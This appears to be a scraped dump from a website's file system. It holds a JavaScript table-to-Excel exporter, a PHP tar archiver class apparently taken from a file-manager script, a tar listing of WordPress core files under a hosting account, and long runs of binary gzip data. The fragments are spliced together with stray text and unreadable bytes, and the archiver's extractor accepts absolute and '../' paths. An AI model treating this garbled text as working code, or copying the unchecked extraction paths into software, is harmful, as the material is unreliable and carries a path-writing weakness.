    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.tar000064400000011000151440300030013632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
class-wp-html-text-replacement.php.php.tar.gz000064400000001226151440300030015210 0ustar00��UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�index.php.php.tar.gz000064400000062251151440300030010352 0ustar00��i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
